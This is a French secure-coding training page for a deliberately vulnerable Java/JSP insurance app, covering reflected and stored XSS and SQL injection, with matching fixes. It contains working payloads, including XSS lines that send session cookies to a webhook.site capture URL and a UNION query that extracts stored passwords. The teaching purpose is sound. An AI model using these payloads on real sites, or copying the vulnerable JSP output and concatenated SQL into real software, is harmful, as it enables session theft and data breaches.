AppSec|Formation Développement Sécurisé
← Retour aux cas
05
A05:2025

Injection (XSS & SQLi)

Java 8 · Servlet · JSP

XSS reflected et stored via JSP sans échappement. Injection SQL par concaténation de chaînes.

Cas n°5 — A05:2025 Injection (XSS + SQL Injection)

ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=05
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=05 -e variant=secure

Référence OWASP

Référence OWASP : A05:2025 - Injection
Stack : Java 8 · Servlet API 4.0 · JSP · H2 embedded · Tomcat 9
Lancement : mvn package exec:java (depuis vulnerable/ ou secure/)

démos vidéo

Etape Démo
Application vulnérable, déploiement 05_vulnerable_01_deploy.mp4
Application vulnérable, exploit 05_vulnerable_02_demo.mp4
Application sécurisée, déploiement 05_secure_01_deploy.mp4
Application sécurisée, tentative d'exploit 05_secure_02_demo.mp4

Conditions de démonstration

La démonstration du vol de cookie utilise webhook.site comme serveur de capture : toute requête entrante est loggée en temps réel, sans infrastructure à déployer.

Rôle Machine Adresse
Serveur applicatif VPS formation https://appsec.cc
Serveur de capture webhook.site https://webhook.site/0f35839e-7fdd-45a5-ac80-2de5a702bbba
Victime Poste d'un stagiaire navigateur pointant sur appsec.cc

Prérequis : ouvrir https://webhook.site/0f35839e-7fdd-45a5-ac80-2de5a702bbba dans un onglet pour voir les requêtes entrantes en temps réel.

Scénario métier

L'espace gestionnaire de Assuria Assurances expose deux fonctionnalités vulnérables :

  1. Formulaire de recherche de contrats — le terme recherché est réaffiché dans la page de résultats sans être encodé (XSS Reflected) et la requête SQL est construite par concaténation (SQL Injection).
  2. Commentaires sur les dossiers sinistres — un gestionnaire malveillant peut insérer un script dans un commentaire, qui s'exécutera pour tous les utilisateurs consultant ce dossier (XSS Stored).

Comptes de test

Login Mot de passe Rôle
admin admin123 Gestionnaire
user user123 Assuré

Vulnérabilités — version vulnerable/

1. XSS Reflected — Formulaire de recherche

Localisation : SearchServlet.javasearch-results.jsp

La JSP affiche le terme recherché directement dans le HTML :

<%-- VULNERABLE --%>
<h2>Résultats pour : <%= query %></h2>

Exploit — ouvrir dans un navigateur connecté :

https://appsec.cc/search?q=<script>alert('XSS')</script>

Une alerte JavaScript s'affiche : le code s'exécute dans le navigateur de la victime.

Vol de cookie — avec webhook.site ouvert dans un onglet :

https://appsec.cc/search?q=<img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='https://webhook.site/0f35839e-7fdd-45a5-ac80-2de5a702bbba/?'+document.cookie>

Le cookie JSESSIONID s'affiche dans le tableau de bord webhook.site, permettant à l'attaquant d'usurper la session.


2. XSS Stored — Commentaires sur les sinistres

Localisation : CommentaireServlet.javaCommentaireDao.javasinistre-detail.jsp

Le commentaire est stocké en base sans assainissement et affiché sans encodage :

<%-- VULNERABLE --%>
<p><%= c.getContenu() %></p>

Exploit :

  1. Se connecter en tant qu'admin
  2. Aller sur https://appsec.cc/sinistre?id=1
  3. Saisir dans le champ "Ajouter une note" :
    Note de suivi <img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='https://webhook.site/0f35839e-7fdd-45a5-ac80-2de5a702bbba/?'+document.cookie>
    
  4. Se déconnecter, se reconnecter en tant qu'user
  5. Naviguer vers https://appsec.cc/sinistre?id=1
  6. Le script s'exécute automatiquement → le cookie d'user apparaît sur webhook.site

Pourquoi c'est grave : contrairement au XSS Reflected qui nécessite que la victime clique sur un lien piégé, le XSS Stored s'exécute de manière persistante pour tous les utilisateurs qui consultent la page, sans aucune interaction supplémentaire.


3. SQL Injection — Recherche de contrats

Localisation : ContratDao.java · méthode search()

// VULNERABLE : concaténation SQL
String sql = "SELECT * FROM contrats WHERE numero LIKE '%" + query + "%' OR assure LIKE '%" + query + "%'";

Exploit 1 — bypass du filtre : saisir dans la recherche :

' OR '1'='1

Tous les contrats s'affichent (la condition est toujours vraie).

Exploit 2 — extraction des utilisateurs : saisir :

' UNION SELECT id, login, password, role FROM users --

Les logins et mots de passe de la table users apparaissent dans les résultats.


4. Cookie sans HttpOnly

Localisation : Main.java (vulnerable)

// VULNERABLE
ctx.setUseHttpOnly(false);

Le cookie JSESSIONID est accessible via document.cookie. Combiné avec le XSS, l'attaquant peut récupérer la session d'une victime.

Vérification : ouvrir la console DevTools du navigateur et taper :

document.cookie  // affiche JSESSIONID=...

Correctifs — version secure/

1. Échappement HTML avec JSTL <c:out>

<%-- SECURISE : <c:out> échappe < > & " ' en entités HTML --%>
<h2>Résultats pour : <c:out value="${query}" /></h2>

<%-- Commentaires --%>
<p><c:out value="${commentaire.contenu}" /></p>

<c:out value="..."> convertit automatiquement <script>alert(1)</script> en &lt;script&gt;alert(1)&lt;/script&gt; — le texte s'affiche tel quel, sans être exécuté.

2. PreparedStatement pour le SQL

// SECURISE : requête paramétrée
String sql = "SELECT * FROM contrats WHERE numero LIKE ? OR assure LIKE ?";
pstmt = conn.prepareStatement(sql);
pstmt.setString(1, "%" + query + "%");
pstmt.setString(2, "%" + query + "%");

La valeur de query est transmise comme paramètre de données — jamais comme SQL. L'injection est impossible.

3. Validation des entrées (InputValidator)

// Valide la recherche : que des caractères alphanumériques
if (!InputValidator.isValidSearchQuery(query)) {
    // Refus de la requête
}

// Sanitise les commentaires : suppression des balises HTML
String contenuSanitise = InputValidator.sanitizeComment(contenu);

4. Content Security Policy (SecurityHeadersFilter)

// SECURISE : interdit les scripts inline
response.setHeader("Content-Security-Policy",
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");
response.setHeader("X-Content-Type-Options", "nosniff");
response.setHeader("X-Frame-Options", "DENY");
response.setHeader("X-XSS-Protection", "1; mode=block");

Même si un script XSS passe les autres défenses, la CSP empêche son exécution dans le navigateur.

5. Cookie HttpOnly

// Main.java (secure) — HttpOnly actif par défaut dans Tomcat
// ctx.setUseHttpOnly(true); // valeur par défaut

Le cookie JSESSIONID n'est plus accessible via document.cookie. Même en cas de XSS résiduel, le vol de session par JavaScript est bloqué.


Défense en profondeur — les 5 couches

Couche Mécanisme Protège contre
1. Validation entrée InputValidator.isValidSearchQuery() SQLi + XSS Reflected (en amont)
2. Sanitisation entrée InputValidator.sanitizeComment() XSS Stored (suppression des balises)
3. Requête paramétrée PreparedStatement SQL Injection
4. Échappement sortie <c:out> (JSTL) XSS Reflected + Stored
5. En-têtes HTTP CSP + HttpOnly XSS résiduels + vol de session

Règle fondamentale : ne jamais faire confiance aux données en entrée, toujours les encoder en sortie.


Démonstration pas-à-pas

Prérequis

# Lancer l'application vulnérable
cd vulnerable
mvn package exec:java

Via les scripts fournis

Linux/Mac :

chmod +x exploit/exploit-linux.sh
./exploit/exploit-linux.sh

Windows :

exploit\exploit-windows.bat

Manuel dans le navigateur

  1. Ouvrir https://appsec.cc/login · se connecter avec admin / admin123
  2. XSS Reflected : aller sur /search?q=<script>alert(document.cookie)</script>
  3. SQL Injection : saisir ' OR '1'='1 dans le champ de recherche
  4. XSS Stored : sur /sinistre?id=1, ajouter le commentaire :
    <img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='https://webhook.site/0f35839e-7fdd-45a5-ac80-2de5a702bbba/?'+document.cookie>
    
  5. Se déconnecter · se connecter avec user / user123 · aller sur /sinistre?id=1
  6. Observer le cookie volé sur webhook.site

Points clés à retenir

  1. <%= %> dans une JSP est dangereux avec des données utilisateur — toujours utiliser <c:out> ou fn:escapeXml()
  2. Le XSS Stored est plus dangereux que le XSS Reflected : il n'exige pas d'interaction de la victime et persiste
  3. La CSP est une ligne de défense supplémentaire, pas un remplacement de l'encodage de sortie
  4. HttpOnly rend le vol de cookie par XSS impossible : protéger systématiquement les cookies de session
  5. La validation à l'entrée ne suffit pas : l'encodage à la sortie est indispensable (defense in depth)